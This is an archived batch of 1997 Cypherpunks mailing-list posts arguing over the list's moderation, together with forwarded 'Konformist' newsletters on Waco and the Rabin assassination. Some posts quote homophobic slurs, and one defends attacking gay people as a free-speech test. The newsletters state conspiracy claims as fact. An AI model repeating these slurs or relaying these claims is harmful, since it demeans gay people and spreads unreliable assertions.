MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> Now just who is thisa guy? -- who keeps posting under
> "nobody" at the cajones remailer?  Anybody have him/her
> tagged yet for the real person?

Probably multiple people.  It's just an anonymous remailer.

> ...
> I don't know.  It has always been easy for me to spot a faggot.  I
> mean, I can even tell by their voice if they are queer.

Well, those of us who happen to know Gilmore is straight are not very
impressed with your accuracy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 15:43:53 -0800 (PST)
To: Martin Minow <cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702142343.PAA17540@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:31 AM -0800 2/14/97, Martin Minow wrote:

>What bothers me more than anything else about the "solutions" I've
>seen proposed to the death of Cypherpunks is that they rely on
>technology -- and reject human judgement -- to solve what is, in
>reality, a social problem.  (One can certainly make the same argument
>about the V-chip, browser porn filters, and similar hacks.)

Au contraire, Martin! Many of my posts have _explicitly_ pointed to the
human filtering services offered by Eric Blossom, Ray Arachelian, and
perhaps others. Arranging to have others edit or filter the information
flow is a fine and dandy thing, and it's a very "anarchist" thing to do.

The "anarchy" of the restaurant business, the book business, and so many
other markets and sectors, where end-users are forced to look for filtering
mechanisms (such as restaurant reviews, advice of their friends,
advertisements, etc.) works pretty well.

And, I believe, the Cypherpunks list was doing pretty well before the
Moderation thing happened. The noise from the 'bots was no worse than the
noise of 2-3 years ago from Detweiler. The claims that "the list has become
unusable" were bogus, in my opinion.

(Hence the claims that "you Cyherpunks only complain" are also bogus. I for
one was not complaining and demanding that John and Sandy "do something" to
"fix" the list. I accepted the nonsense spouted about me and John and
others as just part of the chaos expected in any forum. I just filtered and
deleted such nonsense.)

It is true that some signal producers have either moved on to other
things--in many cases to crypto-related companies directly or indirectly
spawned by the Cypherpunks list and contacts!--or are not writing as many
basic essays as they once did. Such is to be expected. People get tired of
writing explanatory articles, and handling newbies.

The key to improving signal is to increase the amount of signal, not to
just suppress noise so as to make the S/N ratio look better. I can easily
hit the "delete" key to remove noise, but I can't hit the "create" key to
increase signal.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Fri, 14 Feb 1997 09:06:02 -0800 (PST)
Subject: The Konformist: Acid Novelist or Art Lover? You Decide
Message-ID: <199702141706.JAA10765@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Note: Either you requested to receive a subscription to 
this e-mail, or someone else recommended you to be placed on 
this list.  If you are interested in a free subscription, 
please e-mail Robalini@aol.com with the subject: I NEED TO 
KONFORM.  (Okay, you can use something else, but it's a 
cool catch phrase.)  Please e-mail me back with subject: 
CANCEL KONFORMIST if you're not interested in receiving 
this.  Thanks, Robert Sterling.

Subj:  American "Acid Novelist" Brings Home Expatriate Treasure
Date:  Wed, Feb 12, 1997 7:58 PM PST
From:  fargone@popalex1.linknet.net
News Release--For Immediate Distribution--2/12/97

Novelist and psychedelic renegade Todd Brendan Fahey, wit the aid of
his father, a Los Angeles-area health care executive, has purchased from
the Amsterdam art gallery Anton Heyboerwinkel what is believed to be the
bulwark of The Logbook of the Ship _Henry David Thoreau_, an obsessive
and intimate mixed media project of an expatriate American artist/mystic
known pseudonymously as Viktor IV before his drowning death in Amsterdam
in 1986.

While on assignment for _Smoke_ magazine last November, Professor Fahey,
author of the incendiary underground LSD novel _Wisdom's Maw_, claims he
was "directed" to a particular shop on Prinsengracht, a canal
street in downtown Amsterdam; after entering the shop, he was
immediately struck by the idiosyncratic force of the works of a
particular artist.  "It was as if I were being beckoned into Aladdin's
Castle from way out in some super-mall parking lot," says Fahey, of his
experience. "I will never be able to put it into words; but there was a
pull, a connection, and then, after studying the many Logbook pages for
several days in this shop, there came a long moment of illumination."

Fahey describes this "illumination" as an ecstatic vision, in which he
claims to have understood the mystical emphasis of much of the Logbook
drawings.

"It's not entirely bizarre," says Fahey, who is currently completing his
Ph.D. coursework in English at University of Southwestern Louisiana. 
"Allen Ginsberg had an experience one day, in his early twenties, where
he heard and witnessed, or believes he did, the voice and personage of
the mystic poet William Blake.  Samuel Taylor Coleridge wrote the poem
`Kubla Khan' completely whacked in an opium trance.  I was using
psychedelics pretty heavily during the writing of `Fear & Loathing in
Amsterdam' for _Smoke_, and feel as if I were privileged for a few days
to some kind of Source.  I had many things happen to me in
Amsterdam--very powerful moments of insight and registrations of the
cosmic flow of things--and during one of these moments, it was impressed
upon me from without, that I should bring back to the U.S. these Logbook
drawings of Viktor IV."

Born Walter Karl Gluck, the artist Viktor IV traveled to Amsterdam in
the early 1960s and settled there, leaving on a ship he christened the
_Henry David Thoreau_, after the philosopher who he claimed as his chief
inspiration and muse.  A burly, rugged figure, Viktor IV  was
recognizable amongst the quiet Amsterdam populace as the barefoot
American hippie artist who dressed in black, loved cats and young women,
and worked tirelessly on deeply personal and largely non-commercial
projects aboard his canal-bound ship.

A master scuba diver, Viktor IV drowned in June of 1986, while
performing underwater repairs to the _Henry David Thoreau_.

Todd Brendan Fahey, a novice art collector, perceives in the Logbook
pages the artist's fascination with the "ecstatic vision."  In this way,
he compares the drawings to the poem-paintings of American surrealist
Kenneth Patchen.  "There is that same relentless focus on the
All-At-Once, that so characterizes the experiences of mystics in every
religion and culture.  The rich, interconnectedness of all things.  That
is what Viktor IV is expressing in these pages.  And that is what I was
feeling for much of my stay in Amsterdam; as much as I was really out of
my head most of the time, I was, in another way, very grounded."

Unconcerned with commerce, Viktor IV created hundreds of these Logbook
drawings in the original, with no known professional reproductions, from
between 1966 and 1976, after which he turned his artistic vision to
clockmaking.  The bulk of individual pages of The Logbook of the Ship
_Henry David Thoreau_ is held by the Fedor Museum and the Stejdilik
Museum, in Amsterdam, where the adopted artist is revered as a free
spirit.  Viktor IV visited the United States only a handful of
times after emigrating to Amsterdam, and is believed to have held only
one American gallery exhibition in his lifetime.
    
Professor Fahey hopes to arrange a traveling exhibition of his 34 pages
from The Logbook of the Ship _Henry David Thoreau_, by the artist Viktor
IV.  Interested museums and art galleries in major American cities
should contact Fahey at the following address:

Todd Brendan Fahey
c/o Far Gone Books
P.O. Box 43745
Lafayette, LA 70504-3745
(318) 261-1946

Dutch and European media should contact:

Georges or Couzijn Simon
Anton Heyboerwinkel
Prinsengracht 578
020 624-7691
1017 KR Amsterdam
The Netherlands

The award-winning Far Gone Books/_Wisdom's Maw_ Web site:
http://www2.linknet.net/fahey/fargone
************************************************************ 
The Konformist is interested in accepting articles, 
opinions, free subscriptions, and advertising.  E-mail us at 
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business needs.  We charge on a sliding scale based on the 
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Hey kids, don't forget to enter the "Rockin' To Armageddon 
Sweepstakes", sponsored by The Konformist, the Official 
Internet Investigative Journal of the 1997 Academy Awards.
(Okay, it's not official, but we're anti-authority 
anyways.)  Right down the day, month, year, and time of the
end of the world, and, as a tie-breaker, your nominee for the
anti-Christ.  The winner will receive a t-shirt stating, "I 
CameClosest To Predicting The Apocalypse, And All I Got 
Was This Crummy T-Shirt."  You will also receive a free 
one year supply of Twix candy bars. 

Also, this is a free magazine, but we'll still take your 
money if you want.  Please send cash, check, money orders, 
and credit card numbers (Visa, Master Card, American 
Express, or Discover) to: 
 
Robert Sterling 
Post Office Box 24825 
Los Angeles, California 90024-0825
************************************************************ 
                       Rob's Place
                  A SITE IS DEDICATED TO
        SPIRIT, TRUTH, PEACE, JUSTICE, AND FREEDOM
              http://www.vom.com/rc/home.htm

Robalini's Note: This is another Rob.  I have no interest in spirit, truth,
peace, justice, and/or freedom.  I do have an interest in making money.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Fri, 14 Feb 1997 14:11:50 -0800 (PST)
Subject: The Konformist: News From Waco
Message-ID: <199702142211.OAA15795@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Note: Either you requested to receive a subscription to 
this e-mail, or someone else recommended you to be placed on 
this list.  If you are interested in a free subscription, 
please e-mail Robalini@aol.com with the subject: I NEED TO 
KONFORM.  (Okay, you can use something else, but it's a 
cool catch phrase.)  Please e-mail me back with subject: 
CANCEL KONFORMIST if you're not interested in receiving 
this.  Thanks, Robert Sterling.

ITEM ONE

Date:  Sat, 08 Feb, 1997 09:21 PM EDT
From:  paul watson

Rob, Ken is a fellow who had a Dish company south of Dallas and recorded 
all the network uplink for the whole Waco affair. His tapes were used By 
Linda Thompson..
Paul

Date: Sat, 8 Feb 1997 12:08:05, -0500
From: MR KEN FAWCETT 

If no child died on Feb.28- when was the ATF attack?  Clearly, Koresh,
Snyder, and others conveyed information that children had indeed 
been injured and or killed.  The physical evidence is overwhelming.  
But there remains a question in my mind to this day as to whether the 
ATF had actually assaulted the place on Feb. 27.  Sound crazy?   It 
came from ATF commander Ted Royster's mouth first. In his first press 
briefing, on Sunday afternoon,  Feb. 28, he began (reading from a 
prepared statement), "Yesterday's action, I mean today, er. uh it 
seems like yesterday...."

There is much to question about how it would be possible for TV 
newsmen acting on their own without sattelite-link support, could 
remain at the site of a two and a half hour "gun battle" that began 
at approximately 10 AM for the duration,  slowly walk out (nearly 2 
miles), and have an edited tape of the raid ready to show on Dallas 
TV at 11:30 AM.  Several things about the big lie don't add up!

Ken

ITEM TWO


From: Liberty or Death <ghostpwr@dmi.net>

Subject: Waco Film



>Subject: Review this review of "WACO: The Rules of Engagement"

>Date: Wednesday, January 29, 1997 1:03AM

>

>FOR IMMEDIATE RELEASE

>

>WACO: The Rules of Engagement

>

>Executive Producer Dan Gifford introduces his new documentary, "Waco:

>The Rules of Engagement", which premiered at the Sundance Film Festival, by

>saying words to the effect that "This movie is about looking under rocks

>and finding what we never wanted to know."  The result is an extremely

>disturbing film that should be required viewing for all Americans.  "Waco"

>is a damning indictment of the BATF, the FBI, and the Congressional

>hearings which allegedly investigated the disaster in which four ATF agents

>and 76 Branch Davidians were killed.

>

>Gifford and co-executive director Deborah Sommer-Gifford were inspired

>to make the film when they were presented with aerial "Forward Looking

>Infra-Red" (FLIR) footage taken by FBI surveillance.  The FLIR film

>provides answers to many of the previously unanswered questions about Waco.

>According to Gifford, this film footage had been offered to the major news

>networks and was rejected.

>

>The heart and mind of the film come from the never-before released

>FLIR footage and home videos made by the Branch Davidians with a

>camera given to them by the FBI.  Accompanying them is extensive news

>footage of the events at Waco, C-SPAN tapes of the Congressional hearings,

>transcripts of conversations between the Davidians and negotiators and

>interviews with various experts and key participants

>in the disaster.

>

>The FLIR photography was taken by FBI planes flying over the Davidian

>compound to provide surveillance.  The film, which looks like ordinary

>black and white film, actually measures heat, not light, and is thus

>able to provide a great deal of information about weapons fire as well

>as the inferno that destroyed the complex.  Interpretation of the film

>is provided by an independent company.  The FLIR footage shows conclusively

>that the FBI did fire on the Davidians despite their claims that "not a

>single bullet was ever fired" and that the catastrophic fire was started by

>the FBI firing grenades into the building after refilling it with the

>deadly and flammable CS powder-methylene chloride mixture. It also provides

>strong evidence that the FBI stationed personnel with machine guns outside

>the only exit from the building, which if true, indicates that the FBI's

>intent was to murder the Davidians, not to "rescue hostages".

>

>The FBI gave the Davidians a video camera and tapes to make videos of

>themselves, presumably to help the negotiators understand them better.

>These videos were never released because the FBI feared it would generate

>too much sympathy for the Davidians and David Koresh.  And in fact, the

>video does refute the widely-publicized image of Koresh as a  crazed,

>charismatic and controlling leader, not unlike Charles Manson, and of his

>followers as the "wackos from Waco".

>

>While Koresh was certainly not your "average American", he appears

>rational, intelligent, and committed to teaching his religious beliefs. His

>followers seem to be ordinary people on a spiritual quest, no different

>from many I've encountered in my own spiritual seeking.

>They did not appear to be brainwashed automatons, or homicidal maniacs.

>Many were foreigners and ironically felt they would be safer studying

>religion in the United States.  While sexual practices outside the norm did

>occur, they were consensual.  I saw no evidence of child abuse whatever.

>Clearly the FBI, aided by the media, demonized the Branch Davidians in an

>attempt to dehumanize them.  And dehumanization of the enemy is one of the

>prerequisites for genocide.

>

>Given that the Congressional committee charged with investigating Waco

>had access to all the material presented in this film, the

>investigation can only be considered a farce and a travesty.  With

>rare exceptions, the hearings are shown to be nothing more than a

>compilation of lies and perjury combined with a lot of self-serving

>political grandstanding.  What does stand out, and what gives the

>film its name, is that neither the ATF nor the FBI ever had a detailed,

>organized plan of attack, that there were never any formal rules of

>engagement, and that no contingency plans for failure of the raids,

>injuries, fire, or other foreseeable problems were ever made.

>

>While some have commented that the film appears biased against the

>government, all the involved agencies were invited to participate, to

>be interviewed, and to present  their side of the story.  They all refused.

> And the producers are careful to state that they have no partisan agenda,

>that their goal is to reopen debate on Waco.  They

>appear almost apologetic about the damaging evidence they have collected

>and state they wish someone could or would disprove their findings.  And

>they emphatically do not wish to be associated with "right wing conspiracy

>nuts".

>

>It is of course impossible to do justice to a nearly three hour film

>in a review.  Despite its length, I found it compelling and not at all

>boring or dragging.  Technically, the visuals are mostly dependent on the

>quality of the archival film, although the sound levels could use some

>work.  The musical score was dramatic and quite effective. The film

>includes views of the charred and mutilated bodies of some who died at

>Waco, which I found appropriate, but may be too graphic for some.

>

>YOU need to see "Waco: The Rules of Engagement."  So does every

>American of every political persuasion.  For the past four years, "Remember

>Waco" has been a rallying cry for the "political right"

>and gun owners.  In response, they have been laughed at, dismissed,

>and even accused of being anti-government terrorists. What this film shows

>is human beings being methodically gassed and then burned.

>Anyone and everyone who has ever vowed "Never again" needs to

>view this film and renew that vow.

>

>This is absolutely not a film to celebrate.  There is now evidence

>that people within our government are guilty of genocide and crimes against

>humanity and that they engaged in a huge cover-up.  This

>should sadden and sicken each of us, and it should also motivate us

>to find ways to prevent such a tragedy from occurring ever again.

>If we do not, we become accessories to these crimes.

>

>"Waco" has not yet been accepted for commercial release, although

>negotiations are underway.  If you want to see this film, if you feel

>others should see this film, then you will have to act.  Write to

>Sundance and thank them for making this film available.  (When you consider

>who holds the power at Sundance, it IS rather remarkable

>that "Waco" was shown.)  Encourage them to support its general

>release.  If you have contacts with any film distribution companies,

>ask them to distribute this film.  Write letters to the editors of

>newspapers and magazines.  Tell everyone you know.  If there is a

>demand, if it appears profitable to distribute this documentary, Hollywood

>will most likely cooperate.

>

>Remember that this is NOT about partisan politics, Right vs. Left,

>gun rights, or other divisive issues.  It is about our unalienable

>Constitutional rights to religious freedom, freedom from unreasonable

>search and seizure, and above all the freedom not to be murdered by

>our own government.

>

>As the Talmud commands: "Thou shalt not stand idly by the blood of thy

>brother."

>

>Further information is available at http://www.waco93.com

>

>c 1997, Sarah Thompson, M.D.

>Permission to reprint granted as long as no changes are made and full

>attribution is given.

>

>Sarah Thompson, M.D.

>The Righter

>

>PO Box 271231

>Salt Lake City, UT 84127-1231

>(801) 966-0257 - voice

>(801) 966-7278 - voice/fax

>righter@therighter.com

>        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>  Liberty's Educational Advocacy Forum, Indiana-FIJA, Inc.

>           Url: http://www.iquest.net/~rjtavel/

>               *************************

>            Not a high-tech law firm brochure.

>  Dr. Tavel's Self Help Clinic and Sovereign Law Library

>  promotes "action that raises the cost of state violence

>    for its perpetrators (and) that lays the basis for

>         institutional change " -- Noam Chomsky

>      For Liberty in Our Lifetime, R.J. Tavel, J.D.



- - Monte
-------------------------------------------------------------------------

                         >>> Don't Tread On Me! <<<                    

- -------------------------------------------------------------------------

                                * Psalm 33 *
  -------------------------------------------------------------------------

  "If ye love wealth greater than liberty, the tranquility of servitude 

  greater than the animating contest for freedom, go home from us in    

  peace. We seek not your counsel, nor your arms.  Crouch down and lick 

  the hand that feeds you.  May your chains set lightly upon you; and 

  may posterity forget that ye were our countrymen."    - Samuel Adams
************************************************************ 
The Konformist is interested in accepting articles, 
opinions, free subscriptions, and advertising.  E-mail us at 
Robalini@aol.com, or call (310) 967-4195. 

The Konformist is a subsidiary of Sterling Operation 
Solutions, the trouble-shooting problem-solvers for all 
business needs.  We charge on a sliding scale based on the 
difficulty (and legality) of the proposed solution.  Call 
(310) 967-4195 for further information. 

Hey kids, don't forget to enter the "Rockin' To Armageddon 
Sweepstakes", sponsored by The Konformist, the Official 
Internet Investigative Journal of the 1997 Academy Awards.
(Okay, it's not official, but we're anti-authority 
anyways.)  Right down the day, month, year, and time of the
end of the world, and, as a tie-breaker, your nominee for the
anti-Christ.  The winner will receive a t-shirt stating, "I 
CameClosest To Predicting The Apocalypse, And All I Got 
Was This Crummy T-Shirt."  You will also receive a free 
one year supply of Twix candy bars. 

Also, this is a free magazine, but we'll still take your 
money if you want.  Please send cash, check, money orders, 
and credit card numbers (Visa, Master Card, American 
Express, or Discover) to: 
 
Robert Sterling 
Post Office Box 24825 
Los Angeles, California 90024-0825
************************************************************ 
                       Rob's Place
                  A SITE IS DEDICATED TO
        SPIRIT, TRUTH, PEACE, JUSTICE, AND FREEDOM
              http://www.vom.com/rc/home.htm

Robalini's Note: This is another Rob.  I have no interest in spirit, truth,
peace, justice, and/or freedom.  I do have an interest in making money.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Fri, 14 Feb 1997 14:11:41 -0800 (PST)
Subject: The Konformist: The Chamish Files - The Rabin Hit CONT
Message-ID: <199702142211.OAA15784@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Note: Either you requested to receive a subscription to 
this e-mail, or someone else recommended you to be placed on 
this list.  If you are interested in a free subscription, 
please e-mail Robalini@aol.com with the subject: I NEED TO 
KONFORM.  (Okay, you can use something else, but it's a 
cool catch phrase.)  Please e-mail me back with subject: 
CANCEL KONFORMIST if you're not interested in receiving 
this.  Thanks, Robert Sterling.

Subj:  rubin's secret testimony
Date:  Sun, 09 Feb, 1997 10:59 AM EDT
From:  chamish@netmedia.net.il

 THE AMIR-RUBIN DEBATE:             
 YORAM RUBIN'S SECRET TESTIMONY by Barry Chamish

The author is privy to an important document withheld from the media and
public. It is the testimony of Yitzhak Rabin's personal bodyguard Yoram
Rubin taken from the protocols of the trial of Yigal Amir, the alleged
assassin of Rabin. As we recall, Rubin was the bodyguard who jumped on Rabin
after Amir's alleged first shot and took his second shot in the arm.

What is surprising about the secret testimony is how mundane it is compared
to what Rubin testified to in open court. That testimony is far more damning
to his credibility.

The secret testimony begins with the court asking Rubin why the session
should be closed. Rubin replied, "I don't mind being photographed but within
my story I could touch on matters that I wouldn't want made public."

A representative of the intelligence services then explained that operating
procedures and details of secret servicemen should not be publicized. The
defence argued that the court could decide whether to procede after hearing
its questions. The argument did not sway the judges and they decided to hold
the session in camera and afterwards sign a declaration that they heard
testimony denied the public.

The final declaration of the three judges Levy, Rothlevy and Mordick read
that, "To prevent speculation, we must relate that the previous testimony
was held behind closed doors, is not for public attention and will not be
included in the trial protocols."

In the most bizarre episodes of the trial, Amir acted as his own attorney
and personally questioned Rubin, one of the two men he allegedly shot.

Rubin first testified that seven bodyguards in two groups covered Rabin. He
was then asked by Amir why Rabin didn't wear a bulletproof vest. He
answered, "We judge the situation and decide if a bulletproof vest is called
for. Vests are worn only in exceptional cases. The bodyguards never wear
them." At this point Rubin makes a rather remarkable statement. "There were
previous warnings that an incident could happen."

Needless to say, if there were prior warnings, then it was up to Rubin to
make certain Rabin was wearing a bulletproof vest. Amir did not jump on this
point, rather he returned to the question of the makeup of Rabin's bodyguard
formation.

Amir- You pointed out that seven bodyguards surrounded Rabin.
Rubin- Thre were seven attached to him and twenty in all. I was the
commander of one group, I walked beside him, another preceded him, another
man walked behind him and he was joined by someone to the left, they formed
the pair guarding the rear. One other proceeded forward and another right to
cover the fence on Ibn Gvirol Street.
Amir- You were with Rabin on the left side.
Rubin- No. I didn't walk on his left.

Amir now questioned the security arrangements but did not make his point.
Instead, he digressed, asking questions about whether bulletproof vests can
be discerned under clothing. His attorney, Jonathan Goldberg addressed Rubin
to help get Amir back on the right track.

Defence- Was the protective ring around Rabin different at this rally than
at other events because according to the defendant, he circled the prime
minister and saw that his protective guard was different?
Rubin- It was different.
Defence- The defendant says that at prior events the formation was two
bodyguards on the side, one in front and another in back but this time the
formation was different.
Amir- At the rally when I got into Rabin's range, a hole opened up for me, I
walked around someone and came in from the side. I always wanted to kill
Rabin but I didn't believe that I'd ever have room to push my hand right to
him. But that's what happened in this case. When I walked towards him I saw
a gap open and I shot him in the back.
 
In round one, Amir admits to murdering Rabin but has planted deep suspicions
that he had help from Rubin and other Shabak agents. He stops just short of
saying he couldn't have done it without their help. Of course, the judges
didn't see it that way. But any other objective observor would ask why Rabin
wasn't wearing a bulletproof vest if warnings against his life were
received, why the bodyguards changed their regular formation that night and
how did they allow the gap to open which permitted Amir an unhampered shot
at the prime minister?

end
--------------------------------------------
Sent by Barry Chamish - Israeli journalist.
Phone/Fax : (972)-2-9914936
E-Mail    : chamish@netmedia.net.il
************************************************************ 
The Konformist is interested in accepting articles, 
opinions, free subscriptions, and advertising.  E-mail us at 
Robalini@aol.com, or call (310) 967-4195. 

The Konformist is a subsidiary of Sterling Operation 
Solutions, the trouble-shooting problem-solvers for all 
business needs.  We charge on a sliding scale based on the 
difficulty (and legality) of the proposed solution.  Call 
(310) 967-4195 for further information. 

Hey kids, don't forget to enter the "Rockin' To Armageddon 
Sweepstakes", sponsored by The Konformist, the Official 
Internet Investigative Journal of the 1997 Academy Awards.
(Okay, it's not official, but we're anti-authority 
anyways.)  Right down the day, month, year, and time of the
end of the world, and, as a tie-breaker, your nominee for the
anti-Christ.  The winner will receive a t-shirt stating, "I 
CameClosest To Predicting The Apocalypse, And All I Got 
Was This Crummy T-Shirt."  You will also receive a free 
one year supply of Twix candy bars. 

Also, this is a free magazine, but we'll still take your 
money if you want.  Please send cash, check, money orders, 
and credit card numbers (Visa, Master Card, American 
Express, or Discover) to: 
 
Robert Sterling 
Post Office Box 24825 
Los Angeles, California 90024-0825
************************************************************ 
                       Rob's Place
                  A SITE IS DEDICATED TO
        SPIRIT, TRUTH, PEACE, JUSTICE, AND FREEDOM
              http://www.vom.com/rc/home.htm

Robalini's Note: This is another Rob.  I have no interest in spirit, truth,
peace, justice, and/or freedom.  I do have an interest in making money.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 14 Feb 1997 15:42:14 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142342.PAA17460@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation writes:
> If you want to fight censorship effectively, going around telling
> people "You're a shit-eating faggot you fucking cock-sucking homo
> censor" in public forums is not going to win you many points.

On the contrary. 

John Grubor is Usenet's most effective probe as to the mindset of
people who really want free speech. The precise litmus test of
free speech is vehemently offensive things that are spoken.

> Instead, it will quickly land you in many people's killfiles, and will
> eventually lead some people with bad client software to wonder if it
> wouldn't be worth giving up some freedom of speech for the benefit of
> not having to see your rants any more.

Then they don't want free speech. They want the illusion of free
speech, "free speech as long as you don't say THOSE things". 

> Unfortunately, it sort of makes life harder for those who actually
> fight the censorship when you pretend to be one of them.  Your
> argument seems to run something like, "To protect freedom of speech,
> bad all faggots from the net, and especially don't let them run any
> mailing lists."  If this offensive and highly noticeable argument
> eclipses many of the important, fundamental ones as the censors would
> like it too (why do you think your articles make it to cypherpunks-
> flames while mine only get as far as -unedited), you will end up not
> only inducing censorship but also seriously hampering the efforts of
> those who are legitimately fighting that censorship.

Don't you get it? Real censorship issues do not arise until someone
rocks the boat. It takes someone to rock the boat to make you aware
of your own prejudices of that nature. If it takes attacking
homosexuals and pissing them off enough to make them show their
true colors and begin censorship...so be it. Why be civil when that
civility serves to hide that which is ultimately against free speech?

You'll find those of us who -truly- want free speech are extremely
good at ignoring what we don't like.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Don't teach the blind until you have practiced living with closed eyes







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 14 Feb 1997 15:41:51 -0800 (PST)
To: Tim May <tcmay@got.net>
Subject: Re: Keep it Simple and the Cypherpunk Way
Message-ID: <199702142341.PAA17418@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



what TCM continues to stick his head in the sand over
is the fact that the list noise levels have gotten outlandishly
out of control over recent times, far beyond anything in memory. 
what is it due to? 

it appears that there is a basic law of cyberspace that S/N decreases 
as you add more people. it seems to be a very obvious and repeatable
property.

there are some significant lessons about cryptoanarchy that are
completely evading TCM. how well does anarchy scale? apparently, not
well. TCM would like to pretend that just deleting posts and having
outsider filterers is a "solution" to the problem and argues for
business as usual, upholding the status quo.

the problem is that when you have a deteriorating situation, the
status quo is not a valid concept. keeping the status quo means
further deterioration.

TCM also fails to address the problem of AGENT PROVOCATEURS. the
cyberspace list is intensely fragile and susceptible/ vulnerable
to them as Vulis demonstrates. it only takes ONE and a lot of 
tentacles. does TCM propose a solution to this? no, of course not,
because he has a blind spot when it comes to realizing the
PATENTLY OBVIOUS FLAWS OF CRYPTOANARCHY that stare him in the face.

if cpunks had a formal way of making decisions, and some loyalty
to each other, instead of BAILING OUT at the slightest difficulty,
perhaps the situation would be different, eh? see how quickly people
who were once friends simply WALK OUT on each other in the cryptoanarchist
approach? where is the loyalty? the sense of working for the greater
good? it's gone. TCM simply ABANDONS the list at the first opportunity,
and ignores the years of hard work that J.G. has put into it.

timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing
the logical conclusion of your views playing out before you.
acrimony, bitterness, resignation, chaos, confusion, cacaphony,
anarchy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 15:43:02 -0800 (PST)
To: Vin McLellan <cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142343.PAA17507@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:07 PM -0500 2/14/97, Vin McLellan wrote:

>        My understanding of Sandy's effort, for instance, was that he was to
>filter out the sludge of spam and contentless name-calling with which some
>idiots were flooding the list.  My impression was that he was passing along
>any posts with content (ideas, pro or con, on almost anything) but filtering
>out the empty obscene name-calling and slurs (many of which seemed anon or
>forged, with varied and misleading titles, to duck my kill-file filters.)

Well, Vin, your understanding was flawed. Many thoughtful, "non-sludge"
posts were filtered out. Some never made it to either the "main" list nor
the "flames" list, as all posts were supposed to do.

(John Gilmore acknowledged this in his message. Anyone subscribing to only
the Flames list, as I was for a while, would see some posts not making it
to the Main list (viewable via the archive sites) nor to the Flames list.)

Even my very long and thoughtful (I think, and others have said as much)
essay on why I had been off the list for several weeks was _almost_
censored by Sandy, by his own words. Because he disliked some turn of
phrase I used in describing the ramblings of Toto, Dale Thorn, and Vulis,
he said he almost killed the entire piece, ultimately letting it through as
a "judgment call."

This is what I call a "chilling effect." Never knowing whether one's essays
will pass muster with the Chief Censor is not exactly a reason to spend a
lot of time composing a long piece.

And was my article the kind of "sludge of spam" and "countless
name-calling" you thought the Moderation experiment was all about?

And what of the four or five of my posts a week ago which never made it to
either the Main list or the Flames list? The contained no "sludge of spam"
nor "countless name-calling." What they dealt with was a claim (like this
one) that some posts were not being passed on to either of the two lists,
and that perhaps a conflict of interest was developing.

Does this still match your "understanding of Sandy's effort"?

By the way, I can forward to those who are interested these four or five
posts which got "Meta-Censored." (Unless too many people request
them...I'll promise to forward them to the first five people who request
them...then some of you can repost them to the list and see if they make it
through.)



>        By the logic of Tim and others, a clever and dedicated crusade
>against Cypherpunks by any minimally-organized group, bir or small -- your
>local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever!  -- could have
>destroyed the List at any time in the past.  I'm glad they never realized
>how vulnerable we were;  I've enjoyed this Community greatly  in its current
>manifestation.

The list was not destroyed when S. Boxx/Pablo
Escobar/anon12054/Detweiler/vznuri was blasting us with dozens of messages
a day screaming that "tentacles were eating his brain" and that Cypherpunks
were out to destroy him. Believe me, for those who were there, that was a
topic of much greater daily discussion than the   insult-a-day stuff is
today.

(And yet, because journalists now frequent the CP list in greater numbers
than 2-3 years ago, at least two journalists are sniffing around for a
story on the current situation, where essentially none were very interested
in the Detweiler episode a couple of years ago, which was good. I recall
John Markoff asking me about it at Hackers, in 1993, but he didn't see it
as an especially significant story. I agree with this.)

>         I also hate to think of how gleeful the sociopaths who mail-bombed
>us into the choice of submission or suicide must be today.  I think it is a
>particularly henious crime to destroy a virtual community; something akin to
>book-burning, but maybe more like arson -- like burning village schools.
>
>    There was a willful attempt to destroy C'punks, an attack of depth and
>volume which led many of us (even those who had ignored at least three
>earlier efforts to offer filtered subsets to the List)  to welcome the
>Moderation Experiment. Unfortunately, the attempt at moderation just twisted
>our own energies against ourselves.  We were, perhaps predictably, quite
>easy to manipulate.

On this I agree with Vin. The "censorship" episodes were the predictable
outcome of such attacks, and this "psy-ops" experiment is a victory by
whoever it was who was attacking. Detweiler failed to get the list to start
censorship and "limitations of anarchic freedoms," but the current attacker
has succeeded.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
